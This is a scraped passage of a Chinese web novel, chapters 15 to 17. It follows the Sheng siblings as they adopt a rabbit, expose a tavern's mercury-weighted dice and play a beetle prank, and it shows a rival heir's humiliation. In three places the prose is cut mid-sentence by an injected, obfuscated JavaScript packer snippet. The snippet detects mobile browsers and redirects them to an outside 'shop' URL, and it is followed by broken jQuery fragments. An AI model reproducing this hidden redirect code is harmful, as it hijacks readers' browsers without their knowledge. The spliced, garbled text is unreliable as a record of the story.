柔软的毛存在指尖,轻轻搔动着。
盛秋阑没敢再碰第二下,从笼子当中抽出自己的手,小心翼翼地拉上开口,屏住呼吸从侧面观察着兔子。
她根本没有用多少力,但还是害怕兔子会因此被吵醒。
万幸,那一团雪白连姿势都没有动,一双眼睛闭着,只留下两条缝,藏在周围的毛中,几乎要看不见。
盛秋阑松了一口气,透过笼子反复确认之后,才勉强把目光移开。
她的视线一转,落在盛承驰的手上。
那是一个不透明的盒子,盒子的体积很小,只在侧边留了一个小孔。
刚才的注意力全都在这一笼兔子上,根本没有发现盛承驰还多了这个小东西。
这个时候盛秋阑才有闲心询问:“这是什么?”
盛承驰的表情非常神秘:“这是给大哥的。”
盛秋阑直觉这并不是什么好东西,但她在脑海中搜寻了一圈,都没有想到店铺中能够有什么东西可以放在这个盒子里。
况且,就凭这个小东西,怎么可能把大哥吓到?
“给我看看。”
盛承驰犹豫了一下,似是在想要不要在车上打开来,最后还是拒绝了。
“算了,我怕你被吓到。”
盛秋阑反而被勾起来了好奇,她才不信有什么可以吓到她,之前她可是能够在半夜看恐怖片找灵感的人。
人称……自称“盛大胆”。
盛承驰非常谨慎,任凭盛秋阑好说歹说都不肯答应,甚至还把盒子拿到了另一边。
盛秋阑手臂不够长没办法拿到,可要是换位置的话,地上还摆着兔子笼,一动就会踢到,尝试无果,只能不甘心地坐在原地。
马车一路行驶,最后停在侍郎府门口,盛秋阑手中提着兔子笼,没有再向往常一样直接往下跳,老老实实踩着梯子到了地面上。
盛承驰就没有那么多顾忌了,他单手拿着盒子,直接从车厢边缘往下跳,稳稳落在地面上。
马车上面的欧聪看到两人都下车之后,绕到后门进入,露出了完整的街道。
盛秋阑回头望了一眼侯府,他们出去了一个多时辰,对面大门还是和走之前一样紧闭着。
手中的笼子沉甸甸的,她还在犹豫之中,自家大门就被从里向外打开了。
“小姐怎么站在门口,快进来吧。”
盛秋阑被半拉着踏入大门,碧云从她手中接过了兔笼。
“小姐,这个放在哪里?”
她回过神:“就放在后院吧,那边刚好有一处空着。”
早在马车里的时候,盛秋阑就已经想好了兔子的归属地点。
后院有一处草坪上面搭建着棚子,原本是想要用作平时乘凉的场地,但是因为他们更加偏好去亭子当中,那处地方就被空出来了,棚子也没有拆掉,现在正好能够用来当做兔子窝。
府中的绿化做得很好,但还是第一次有活物出现在后院当中,棚子当成了天然的屋顶,方位又刚好对着南边,若是出了太阳也能照进其中。
因为这一个意外的成员,仆从们紧急在周围用木头做了一个简易的围栏,圈住了一块草坪,当做白兔平时的活动场所。
那只在路上一直睡着的兔子就是在这个时候醒来了。
蓬松的一团毛球舒展开来,一双红宝石似的眼睛睁开来,嵌在白色的毛中。
它在笼子当中有些活跃,碧云打开上面的开口,抱着它出来,兔子传承了主人的自来熟,都不用人引导,自己就一蹦一跳到了棚子当中,找了一块空地趴下来。
盛秋阑没有要别人帮忙,自己拿着不要的被褥,铺在它躺着的位置上,她把被子边缘的角折叠起来,做成了一个中间凹陷的坑,吭哧吭哧收拾完,想到正在升温的天气,又去找了一个小凉席,放在了兔窝的旁边。
这种兔子一般偏静,但可能是因为岁数不大,或者是先前放在店门口已经被围观习惯了,就算盛秋阑在旁边也没有逃走,反而朝她的方向走了两步,停在一个隔着小段距离的地方。
之前被盛承驰拉着摸了一把毛,盛秋阑也多了一点胆子,她缓慢
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919176|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地走上来,给它留了足够的逃跑时间,看到兔子没有退后,才放心蹲下来,伸手在它的背上抚摸了一把。
手心当中的触感温热,覆盖着一层软毛,比先前在马车上的要更加真实一点。
盛秋阑从脖子一直摸到了尾巴,意犹未尽,又摸了两把。
幼兔的精力不是很好,在自己的新家里面欢快地转了两圈,感觉到自己的气息已经遍布草坪,大摇大摆地跳上盛秋阑准备好的窝,如同在笼子里一样团成一团,又闭上了眼睛。
盛秋阑没有再闹它,走出了低矮的栅栏,对着负责照顾的仆从重复了一遍掌柜之前说过的注意事项。
府中的吃食都是定时去采买,但是因为多了一个宠物,负责的下人还特地跑了一趟,到市场当中买了一篮青菜叶子和其他蔬菜,因为没有过养兔子的经验,干脆把能想到的所有品种都买了回来。
把一切安顿好之后,盛秋阑终于想到了真正付钱的盛承驰。
后者一下车就跑得没影了,看方向是盛承礼的小院,她想到那个死活不肯放出来的小盒子,朝着大哥的院子走去。
按照现在这个时辰,盛承礼应该在书房当中,但是盛秋阑找遍了所有房间,都没有找到人影。
她无所事事地四处打量着,最后在书房中的桌子上看到了熟悉的小盒子。
盒子旁边还架着毛笔,纸张上面的墨渍尚未完全干涸,看上去像是刚刚离开不久。
一看就是被盛承驰引开了之后放上去的。
盛承驰的点子一向很多,在盛秋阑小时候,他就没少撺掇她一起闯祸。
有时候是带着她偷偷去外面买些平时家里人不让多吃的糖,有时候又溜进贺兰谨的房中把一些饰品藏起来,让盛秋阑在门口盯梢。
他明着打算盘,若是被发现了还能拉上盛秋阑一起,知道家里人不舍得再责骂,笑嘻嘻地保证下次不会再犯,实则安分不了几天又开始故技重施,只有被送去学堂的时候才能够清静一段时间。
不过在所有人中,盛承驰还是最喜欢折腾大哥。
盛承礼一向沉稳端庄,但是对弟妹没有一点办法,盛承驰总能找到办法让他变得无可奈何,事发之后再拉着一起干坏事的盛秋阑讨饶。
其实盛承驰有些法子都已经用了好几次,偏偏每次都能够骗到盛承礼。
“大哥,你不要再背书了,那些四书五经到底有什么好看的,学堂里面还没有背够吗?”
盛承礼被他吵得静不下心,一转头刚想板着脸教训,就看见两个毛茸茸的脑袋,一左一右地在两边盯着他。
盛承礼举手投降:“那你们说说,想要玩什么?”
盛承驰计谋得逞,拉着人出了门:“听说城西有一家新开的酒肆正在投骰子助兴,拿到彩头可以在酒肆里面任意吃喝半年。”
他早就跃跃欲试,可是娘亲每个月给他的银钱已经被花光了,盛秋阑虽然有钱,但是他也不想厚着脸皮问比自己小五岁的妹妹要。
那就只有盛承礼了。
15. 作假
盛承礼平时花销不多,每个月都能存下不少钱,就这样被弟弟半拉半拽着上了马车。
被坑了这么多次,他拿着自己尚且富裕的钱包,非常警惕地提醒。
“适量就好,不可贪心。”
盛承驰信心满满:“放心,等我拿到魁首之后,请大哥吃饭。”
盛承礼压根放不了心:“你只要别把我的钱全都输光就不错了。”
三个人坐在马车上比较拥挤,万幸盛秋阑个头小,夹在两个人中间刚刚好。
盛承驰已经开始报自己中了彩头之后要点的菜,她默默看了一眼钱包的厚度。
希望回来的时候还能够见到其中的一半。
城西近日非常热闹,酒肆的活动一共有五天,今日刚好是最后一天,人们里三圈外三圈地围在门口。
先不论酒肆的饭菜好不好吃,光是这样子就已经吸引了不少人,就算原先不了解活动的人也被吸引过来,在门口排起了长队,酒肆里面更是人满为患,甚至还叫起了号。
他们的马车停在外面,有一些人转过头来看了一眼,很快又将注意力放在中间。
酒肆的宣传做得很大,自然也有其他高官子弟来尝试,个个都卯足了劲想要拿到那半年的免账彩头。
他们当然不缺少那几餐饭钱,但是这件事说出去面子上好看,足够在学堂里面好好地吹嘘一波,只是据盛承驰听到的,还没有人成功过。
他一早就跃跃欲试,势必要成为第一个拿到彩头的人,之前苦于自己没有银钱,现在把盛承礼拉过来,他就无所畏惧了。
总归花的不是他的银子,最后还有大哥保底。
被噱头吸引过来的人不少,不只是旁边围观的人,更有人挽着袖子想要大展身手,在酒肆门前摆着的小桌子上,有不少人拿着铜钱尝试。
桌子旁边立着块木牌子,上面用墨水写着规则。
“5点以上一盘花生米,11点以上半壶小酒,17点以上半年任一点单免账”。
有人问:“多少一次?”
“十文一次!”
总归只是一盘小菜的钱,那人跃跃欲试:“那我来一次。”
“好嘞!”
小二收了钱,笑眯眯地展示掷骰的骰子:“这边是三颗骰子,若是中了可以到店中去兑换。”
那人拿起骰蛊,把三颗骰子放入其中,他的动作熟练,看样子像是经常在赌坊当中混迹,杯中的骰子不断地滚动,周围的人看热闹地站在一边,眼神紧盯着他手中不断摇晃的杯子。
“啪!”
黑色的骰蛊立在桌子上,那人信心满满地揭开来一看,三颗骰子错落地立在当中。
“10点,就差一点,真不巧。”小二口吻略带惋惜,“客官要再试一次吗?”
男人被激起了斗志:“再来一把。”
这次他摇晃的时间更长了,骰蛊盖子被打开来,显示12。
“恭喜!”小二把两根不同颜色的竹签给他,签筒里面还放着许许多多相同样子的竹签,多为木色竹签,次是青色,唯有两三根红色的签子散落在其中,非常显眼。
那人看起来不是很甘心,但是看了签筒之后还是放弃了再来一次的想法,走到了酒肆里面兑换。
后面的人围观了许久,纷纷举着铜板或是纸币。
“我来一次!”
“我这边五次!”
眼见着人越来越多,一个小二忙不过来,里面又搬出来了一张桌子,分成两个通道来分担压力。
盛承驰挤入旁边围观的人群当中,在其中一张桌子后面排队。
前面有人手里攥着好几根签子,多是木色,中间夹着一两根青色,有些手上空空,再也不敢尝试。
轮过这么多人,签筒里面的红色签还是稳稳当当,没有被动过,最多被拨动了一下位置。
盛承驰拿着从大哥手中拿来的铜板,豪气地拍在桌子上。
“我来十次。”
先前不乏有人出手大方,只是他的装扮一看就出身不凡,周围的人不免往这个方向挤了挤,想看看结果会不会有什么不一样。
盛承礼和盛秋阑一直在旁边,占据了最清晰的观赏位。
盛承驰先前没有玩过这种骰子,只在刚才围观了一会儿别人的做法,拿起骰蛊之后像模像样地晃了两下,一打开却是4点。
“我就先试试。”他嘴硬道。
他说到做到,一连掷了剩下的九次,获得了八盘花生米。
这种游戏玩着玩着就容易上头,小二收好骰子,提醒说已经没有次数了,盛承驰转向一旁站着的大哥。
盛承礼有种不好的预感,他默默捏紧岌岌可危的钱包:“差不多了。”
“哎呀大哥就再来几次,我感觉刚才已经找到规律了,再来几次一定可以。”
盛承礼无奈,又从钱袋里面抽出一张纸币。
盛秋阑已经在旁边观察了许久,她看着盛承驰手里面的签子,盘算了一再玩下去,等这些花生米下肚,自己是不是就能够饱了。
二哥说的请客不会就是请吃花生米吧。
她看着盛承驰再次掷出的点数,默默计算了一下,眉头一皱。
不对,概率不对。
怎么会没有一次超过13点。
按理说就算运气再差,这么多次下来,也不至于一次都没有高点数,三颗骰子被掷了这么多次,却没有一颗是6点朝上的。
盛秋阑看了看周围,发现几乎所有人都是这样,就连半壶酒也已经算是少见,大多是拿着最普通的棕色签子,酒肆当中的花生米一盘接着一盘送出去。
她之前听过一点赌场猫腻,知道有些人会在道具当中做手脚,只是放在现在这个时候,这种手段还算隐蔽,大多数人掷到小点数也只会把问题归结于今日运气不佳,根本想不到手上看似普通的骰子还会有问题。
“二哥,我来试试吧。”
剩余的次数不多了,盛承驰先前吹嘘一番,如今却还只有寥寥几瓶酒,正愁着如何放慢进度,闻言把骰蛊递给了盛秋阑。
盛秋阑转着手腕晃了晃,打开一看。
9点。
盛承驰本来看她的样子还以为妹妹是找到了技巧,没想到看起来和其他人也没有什么差别。
“要不还是我自己来吧。”
盛承驰想要拿过骰蛊,没想到却摸了个空。
盛承驰:???
盛秋阑手中拿着一张银票:“给我来一百次。”
她今天出门的时候没有带钱,也不知道是从哪里变出来的票子。
周围的人惊讶,盛承礼感应到了什么,摸了摸自己的钱袋,发现原本紧闭的扣子不知什么时候被打开了。
仔细回想,盛秋阑刚才一反常态地与他靠得极近,想必就是在那个时候拿走了里面的钱。
盛承礼:“……”
他默默地把已经薄了一圈的钱袋换了一个更加安全的位置,贴在自己的胸口。
盛承驰自己还只敢报上十次,没想到盛秋阑狮子大开口,一来就要玩一百次。
他的头脑清醒了一点,从刚才上头的状态脱离出来:“算了吧,大哥真的要没钱了。”
“不,我今儿一定要掷到那张券。”盛秋阑一反常态。
那个小二笑容收了点,有些隐晦地看了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938681|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一眼骰蛊。
“几位小客官,这本就是助兴的小游戏,切莫伤了和气。这样,若是你们在店中就餐,我送一份招牌鱼可好?”
他们在这边玩的次数已经足够在酒肆当中好好地吃一顿,在加上盛秋阑这次甩下来的银票,已经有很多人开始窃窃私语。
“这是哪家公子小姐,竟然如此豪横。”
“这些钱已经可以省下来好好吃一顿了,看来是玩上头了,要我说适可而止就好,这种奖券怎么可能这么轻易就拿到?”
盛秋阑充耳不闻,她的眼睛紧紧盯着小二,不肯放过任何一个表情:“不用,我就要自己掷出来,还是说你们这边有什么猫腻?”
小二尬笑两声:“怎么会呢小姐,小的是看次数太多,怕后面等着的客官等急了。”
盛秋阑想了想,觉得也有道理,等到她自己摇完一百次,手都要酸死了。
但是她没有像小二想象的那样放弃,转身对身后的人说:“今日我来付钱,你们只需要来掷骰子,掷完一百次就好,获得的小菜或者酒水都归你们。”
“这……”
小二没话说了,只能看着排在盛秋阑身后的人欢天喜地地上来,轮流晃着骰蛊。
盛秋阑抱着胳膊站在一边,默默地算着投出来的次数。
盛承驰坐不住了,凑到她耳边压低声音开口:“你要做什么?虽然大哥确实钱多,但是这样浪费好像有点太明目张胆了,万一下次他不肯来了怎么办?”
“没事,到时候我原模原样赔给大哥。”
能让小财迷说出这种话,盛承驰一惊。
“难道这其中还有什么学问,难道这些人当中有掷骰高手?”
他开始对这些装扮普通,摇晃骰子的人另眼相看,试图从中找出有谁是落入民间的赌神。
但是很快,盛承驰就没有了兴致。
这几次掷出来的骰子大多都小于了11,能够拿到半壶酒已经不错,至于盛秋阑说的回本更是连一个子都见不到,花生米倒是消耗了一盘又一盘。
小二原本还有些警惕,想看看盛秋阑想要做什么,但是见她只是站在一旁,似乎真的只是突发奇想想要撒钱,慢慢就放松了警戒,以为只是哪个富家小姐心血来潮。
盛秋阑看着那一百次被消耗完毕,对盛承驰说:“你发现了什么?”
盛承驰二丈摸不着头脑:“发现什么?不就是一些花生米吗,连拿到酒都算少数,这样来看,我原先的运气已经是不错。”
“你莫不是想要用这种方法告诉我不要痴心妄想吧,小心大哥之后连银钱都不给你。”
盛秋阑没有被他打乱节奏:“有几个拿到了酒?”
“约莫二三十个。”盛承礼接话,他终于也看出来了问题,“数量不对。”
“啊?哪里不对?”
“按理来说,11点以上的概率与以下的概率是一半比一半,但是现在明显比例不对了。”
先前鱼龙混杂,也不会有人有闲心去计算哪些人获得了酒,但是现在集中起来掷骰子,问题就很明显了。
盛秋阑上前拿过骰蛊,晃了晃,三颗骰子“咕噜”滚出来,落在手心。
“哎,小姐你要干什么?”小二有些急了。
他似是感应到什么,想要将骰子拿回来,却被一闪身躲开了,再想要上前,面前就有两个侍从拦住,只能眼睁睁地看着盛秋阑拿着骰子来到酒肆门口。
三阶青石台阶一直铺到店大门,盛秋阑拿着手上的骰子,往台阶尖锐处一砸。
“砰。”
破碎的骰子碎片飞溅,豁口处淌出几丝银液,从骰子中间的空腔处流出来。
16. 跌倒
众目睽睽之下,这件事做不了假,大家都看到盛秋阑是拿了酒肆里面的骰子。
小二脸上青一阵白一阵,很快现场就开始变得混乱。
“你们怎么还作假,怪不得这么多人都只能掷中小点数。”
“亏我昨天还来吃过饭,没想到竟然这么玩不起。”
“我玩了五回,想着半瓶酒就好,结果最后拿了五盘花生米,还以为是自己运气不好,原来是骰子本身就有问题。”
“我要退钱,再也不来了!”
到后来,其他的话已经听不见了,几乎满场都是“退钱”两字。
店中的人很快被吸引了目光,听闻事情的发展之后也坐不住了。
虽然只是十文钱,但这又不是赌坊,谁能想到酒肆就连这一点风险都不肯冒,外加上有个免账的噱头在,不妨有上头后投入很多的。
一时之间,里面和外面都忙成一团,现场吵吵闹闹,几乎所有的伙计全都跑出来安抚了,但根本控制不了场面。
大掌柜被紧急请出来,但是现场根本没有听他讲话。
“你们这种连游戏都要作假的店铺我们怎么敢吃,万一结账时又给我算错怎么办?我后面还有两个菜不要了,给我退钱。”
“我昨日在门口花了五十文,早知道你们的骰子有问题,我肯定不来。今天竟然还给你这狗店来捧场,早知道这钱我就去买几斤烧鸭,还能吃点好的。”
大掌柜年近四十,脸上的汗珠不住地滚下来,他想要说些什么,却发现自己的声音早已经被淹没在嘈杂之中,根本没有人听。
新店开业用掷骰子助兴是很平常的手段,他也是听一个在赌坊工作过的酒友说有这种方法才动了歪脑筋,那人说这个方法只有赌坊内部的大老板知晓,他也是偶尔发现的,何况只是十文钱,也不会有人在意。
没想到竟然有人真的能够闲得没事,看出了不对。
“是谁最先发现的?”
大掌柜低声问身边的人。
那人指了指在门口的盛秋阑:“就是那位小姐,她是和两个公子一起来的,花了一千二百文。”
大掌柜闻言,走出了酒肆,来到外面开阔地,一眼就看见了站在门口的盛秋阑,对方脚下还是破碎的骰子,没有人清理,就这样明晃晃地展示着内部的空腔。
他两只手插在一起,露出一个笑,眼角的皱纹全都挤出来了:“这位小姐,今日可能有什么误会,不如我们进屋里细谈?”
盛秋阑丝毫不买账:“不用,有什么事就在这里说清楚,毕竟大伙都看得见。”
掌柜在心里面暗骂,面上还是笑着,弯腰在女孩耳边轻声说:“不如我们就在这说开,当做是个误会,以后您来,我们半年……三年都免账。”
盛秋阑不缺这一点钱,更何况光看掌柜这幅还不知悔改的样子,这家酒肆能不能撑三年都说不好,指不定哪一天就被其他人发现使用了其他歪门邪道。
这种饼她吃多了。
人群愈发激愤,看到掌柜走出来,人们换了攻击的对象,一股脑全都往这个方向挤过来,拉着人就要说清楚。
场面就要控制不住了,掌柜见盛秋阑不答应,也没有机会再次劝说,徒劳地安抚着其余人。
“这其中应当有什么误会,这样,今日在场消费的桌子全都八折。”
他一边说着,一边心中滴血,盘算着今日要损失多少的银钱。
本想着这话一出,场面能够得到控制,没成想在场的人还是不买账,有些人花的不多,已经坐回了位置上面,但还有一部分却还在大声声讨。
“那你们之前骗的钱呢,什么时候退给我们?”
“就是,你们这五天骗了不少人吧。”
酒肆宣传的势头不小,不少人是冲着那半壶酒才过来,更有人想要拿个红签子回来,没想到却与想象中大相径庭,这回知道了其中有猫腻,自然不肯就这样轻易作罢。
掌柜这几天坐在账房当中拨着算盘好不快活,没想到在最后一天却被人撂了挑子。
想到这五天确实靠着门口的伎俩拿了不少钱,更有很多人是因此才到店里面点菜的,他头顶的汗珠越发密集,意识到自己原先撒的谎彻底被揭穿,也不会有人再相信了。
盛秋阑早已经离开了最中心的地点,防止被人挤到,任由掌柜被包围起来。
盛承驰和盛承礼一直关注着这边的动静,见人越来越多,还闹成了这幅样子,今日来时的目的应该是完不成了,他们重新坐上马车回去。
等到盛秋阑坐稳,听到旁边一道幽幽的声音:“说好的把我的银钱拿回来呢?”
女孩身形一僵,她俨然已经忘记了这件事,原本是打算真相揭开来后让掌柜来赔钱的,没想到其他人比她更加激动,对方已经应接不暇,跑的时候光顾着躲开人群,以至于忘记这件事了。
盛秋阑装傻:“啊哈哈,我都忘记这件事了,没想到大哥你还记着啊。没事,哥你就当用这些钱来做好事吧,那个骗人的酒肆肯定开不了多久,还能让那些老百姓的钱拿回来。”
盛承礼原本就没想着能够把钱拿回来,只是盛秋阑的表情实在好玩,他才多逗了两句,看人眼巴巴地求饶,也不再多说,就这样睁一只眼闭一只眼放过了。
马车停在侍郎府门口,他们还没来得及分开,就被带到了书房当中,一打开门就看见盛怀德坐在位置上,看着他们三个人,表情不算好。
“今天去哪里了?”
知道瞒不过去,几个人乖乖承认:“去了城西的酒肆。”
“听说那边新开的一家店,不过五日名声已经被人人喊打,好像还有你们的手笔?”
盛怀德的目光转向站在最中间的盛秋阑,在场的人不少,有很多人都描述出来了女孩的样貌,就连装束都丝毫不差,能够猜到是盛秋阑不足为奇。
盛承礼悄悄挪身,帮忙遮掩:“那位掌柜行事不妥,拿着灌水银的骰子骗人,秋阑只是揭穿了一下,没想到会发生这种事情。”
没想到?
盛怀德嘴角一抽,他分明听传消息的人说,三个人是躲在角落里面看完热闹之后才走的,还在一旁小声地为群起激愤的食客们加油,生怕掌柜好端端地回去。
不过说到底他们还算干了件好事,盛怀德只是觉得行事太过张扬,会被有心人另做文章,虽然他们家不会因此对子女太过苛刻,但终究还是要留个心眼。
他提点了一番,三个人低着头乖乖应下。
终于听到结尾,他们松了一口气,以为这件事就要结束了,终于打起了几分精神:“父亲再见。”
“等等,我还没说完,”盛怀德似笑非笑,“今日掷骰子的银钱是哪里来的?”
“是母亲给的零钱。”
盛秋阑察觉到父亲的语气不对,留了个心眼没有说话,没想到盛承驰已经回答了。
她稍稍抬起头,表情中带上了一点幸灾乐祸,直觉接下来说出来的不是什么好消息。
“哦,既然这样,那下个月就克扣掉一半零钱吧,让你们安分一个月。”
盛怀德本来还想要多说几个月,最终还是没忍心,默默改了数字。
对盛承礼来说这点钱已经足够了,他面色如常,对着父亲行了一个礼,表示知晓。盛承驰就开始愁眉苦脸了。
他花钱比较大手大脚,就连平时也撑不到月末,剩下几天全靠其他好友或者盛承礼救济,这下子再扣掉一半,应该就要紧巴巴地过日子了。
当着父亲的面,他不敢反驳,一出门就开始装可怜。
“下个月我大抵要天天吃土了。”
这时候盛承驰也顾不得那一点作为哥哥的面子,厚着脸皮问盛秋阑:“你应该也不想看二哥饿肚子吧。”
这话明显是夸大,盛怀德只是想要给他们一个小小的教训,倒真不至于让人饿肚子,而且学堂当中每日也有饭菜供应。
“学堂里面的饭菜实在是太难吃了,只能下晚学后自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952337|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出去买些别的吃食。”盛承驰喊冤,他这个月的零钱就是这样被花光的。
学堂当中的饭菜倒不至于像他说的那样难吃,只是有些没滋没味,到底比不过外面的小吃。
“那你就忍忍吧,也就一个月。”盛秋阑平时都在府中吃饭,全然没有这种烦恼,非常没有良心地回答。
……
不行,忍不住了。
“我倒要看看是什么东西这么神秘。”
盛秋阑蹑手蹑脚地走到书桌面前,摇晃了一下那个小盒子。
小小的盒子里面发出了奇怪的声音,好像有什么东西摩擦着盒子内壁。
还是个活的?
盛秋阑手上的动作停顿,有些犹疑,但终究是好奇心占了上风,她把盒子放在桌面上,打开了最上面的盖子。
开盖的时候她还是留存了谨慎,胳膊伸长去够上面的开口,膝盖弯曲,做出一个能够随时逃跑的姿势。
指尖弹开盖子,盛秋阑反射性后退两步,盒子中间却没有任何动静发生。要不是她之前摇晃过,差点要怀疑里面是不是空的。
盛秋阑等了一会儿,还是没有看到盒子里面的东西,上前一步想要仔细看看。
就在这时,正方形外壳突然炸开,围起来的四边向各自的方向倒去,底部似乎装了一个弹簧,把里面的东西弹出来。
盛秋阑眼睛一眨,只见一只足足有她巴掌大的黑色甲壳虫在空中划过一道弧线,直直地冲着她爬过来。
“啊!!!”
在京城呆得久了,平时有碧云他们在房间各处放驱虫的草药香薰,盛秋阑平时最多看见蚊虫,差点忘记了还有这么大的虫子。
要知道她从小天不怕地不怕,就算草丛里面有一条蛇也能面不改色地走过去,但是唯独受不了这种甲壳爬行动物。
更何况这个还是Plus版的。
盛秋阑脚下的步子乱了一瞬,随后慌不择路地跑出了书房,半刻也不敢回头看。
二哥居然从花鸟集里面带出了这个东西,难怪之前藏着掖着不肯打开,若是在马车上掀开盖子,那真是连跑的地方都没有。
盛秋阑双腿不断地倒腾着,感觉自己已经跑出了最快的速度,但还是片刻都不敢停下来,满脑子都是刚才蹦出来的黑色物体,那几只细长的脚在空中摇摆着,密密麻麻。
啊啊啊啊啊,下次再也不跟二哥一起捉弄大哥了!
她实在太过害怕,想要回头看虫子有没有追上来,又生怕看见那个丑陋的甲壳虫跟在后面,只能一边跑一边转头,就这样在慌忙之下绊倒在凸起一块的石板路上。
膝盖磕在粗糙的石板表面,瞬间红了一片,在红色的最中央,表面的皮肤已经被擦破了,裸露出伤口。
盛秋阑想要站起来,手脚却在不住地发抖,第一下想要撑起来,却重新跌回了原地。
她慌乱地往后面看,想要寻找那只甲壳虫在哪里,心中还抱着一丝侥幸。
都已经跑了这么远了,应该追不上了吧。
手心摁在石板上,被擦破的地方散发着灼热,伴随着痛感,但盛秋阑此时顾不上这些,眼睛紧张地环顾着四周,一旦见势不对就会跑走。
这下还真让她看出了什么,在距离她不远的草中,有一个黑色的东西仿佛正在移动,随着一阵风吹来,两者之间的距离更近。
盛秋阑一惊,来不及再看得更加仔细,撑起上半身就要立刻往前方跑,腿却不听使唤地软下来,没走两步就要跌倒。
膝盖上面的伤口还没有好,要是再磕一次大概就要流血了,到时候就彻底站不起来了。
盛秋阑努力想要再往前走两步,却根本使不上力气。
她已经闭上了眼睛打算迎接和大地的密切接触,身体却落入一个温热的怀中,疼痛迟迟没有到来。
头顶处传来一道声音,难得放软了语调,不再像平时那样硬邦邦的,带着一丝不易察觉的抚慰温柔。
“好了,没事了。”
17. 迟迟未见
侯府今天异常安静,对面那位侍郎千金没有再一大早上就过来敲门,连看守大门的侍从都有些不习惯。
“今日那位盛家小姐怎么没来?”
“不知道,这么安静我都有些不习惯了。”
虽然盛秋阑平常对他们的态度一般,但是相比起侯府中的主子们来说已经算是很好,见面没有呼来喝去,外加上相貌可爱,府中不少人都对她挺有好感。
傅如珩早起锻炼完,换了一套衣服,把昨天被打断到一半的文章背完。
外面的太阳已经升到斜上方,气温也逐渐升高,却还是没有听见往常清脆的声音。
他抬起头,看了一眼挂钟,已经将近巳时。
盛秋阑不是没有赖床的时候,若是前一天晚上睡得晚了,迟点来找他也算常见。
他所背的已经是中舍中的课本,文字晦涩难懂,又是一个大长篇,傅如珩沉着心背了两段之后依旧没有听到声音,忍不住皱了皱眉。
往后的文字都开始跳跃着,思绪牵挂到外面,他对着书本看了两行,等回过神才发现什么都没有理解。
傅如珩干脆合拢了书,把它放在抽屉里,又小心地盖上。
昨日新到的土已经运到了他的院子当中,整整两大袋被送进来,却没有人敢像之前那样阻拦。
昨天在傅如珩回府之后,傅皓轩也被送回来了。
但与一身干干净净的傅如珩不同,后者是被搀扶进来的,浑身上下几乎看不见一点干净的地方。
棕色汤汁浸透了外衫,散发着一股卤肉糕点味,暴露在外面的皮肤也都是青青紫紫,隐约能看见浅灰色的脚印,脸上还有一个巨大的巴掌印。
“看什么看?”
傅皓轩火冒三丈,对着看过去的下人们发火,瞪着眼睛一一扫视过去,被看到的人急忙低下头,生怕成为被发泄的对象。
左脸颊不断地发着热,碰一下就开始疼,傅皓轩没有照过镜子,但也知道现在脸上肯定不好看。
帷幔下面根本看不清人,傅皓轩和赵乾伸手看不见对方,在摆脱布料的时候,赵乾一个不留神就打在了他脸上,当时场面一片安静,只有一声巨大的巴掌声。
傅皓轩阴沉着脸,一把挥开后者想要来查看的手,可印子已经留在了脸上,在场的所有人都看见了。
这样还不算完,鎏金楼的掌柜硬着头皮清点了现场损坏的东西,列出了一长串名称和账单,就算侯府每个月给他一笔数量可观的银钱,也足足要他三个月的零钱。
傅皓轩这次出来手头上没有那么多钱,压着火气和掌柜说。
“等我回侯府给你拿。”
掌柜为难,还是没有走,站在他的面前赔笑着。
“世子殿下,不是小的不信你,只是这毕竟也不算个小数目,万一怪罪下来,我也不好交代啊。”
傅皓轩哪次来鎏金楼不是被前呼后拥、殷情讨好的?
骤然被这样一说,他脸上无光,恼羞成怒道:“难道你们觉得我还会赖账吗?”
掌柜头顶上的汗珠都要下来了,暗骂自己怎么就轻易把人放进来,结果弄成现在这样,搞不好还得罪了人。
“当然不是,只是我们这店里总要有人,要不您叫下人跑一趟?”
傅皓轩一看到酒楼里面的装潢就想起来刚才的耻辱经历,再加上身上的衣服还散发着臭味,半刻都不想呆下去。
但若是现在走了,万一这件事情被传出去,他的名声还往哪里放?
傅皓轩心里烦躁,一瞥眼看见赵乾站在门边想要偷偷溜走,一把拽住了人。
“你今天是和我一起来的,这钱你也别想逃。”
赵乾心中叫骂,欲哭无泪:“世子,我前两天刚被我爹教训了,克扣了我一个月的零花,再说……今儿是你叫我来的,说费用全都包了。”
他的声音到后来渐渐低了下去,见傅皓轩脸色不对,还是不情不愿地从身上拿出最后的一点钱。
两个人硬凑出所有的钱,才在掌柜和其他人的微笑中被放走。
傅皓轩阴沉着脸到了侯府,见其他人看他的目光更是不爽,在院中发泄了一通还不过瘾,一回到房中就关上了门,下一秒房内就传出噼里啪啦摔东西的声音。
作为侯府世子,他房间里面自然不缺名贵摆件,现在被看也不看扔在地上,残渣碎了满地。
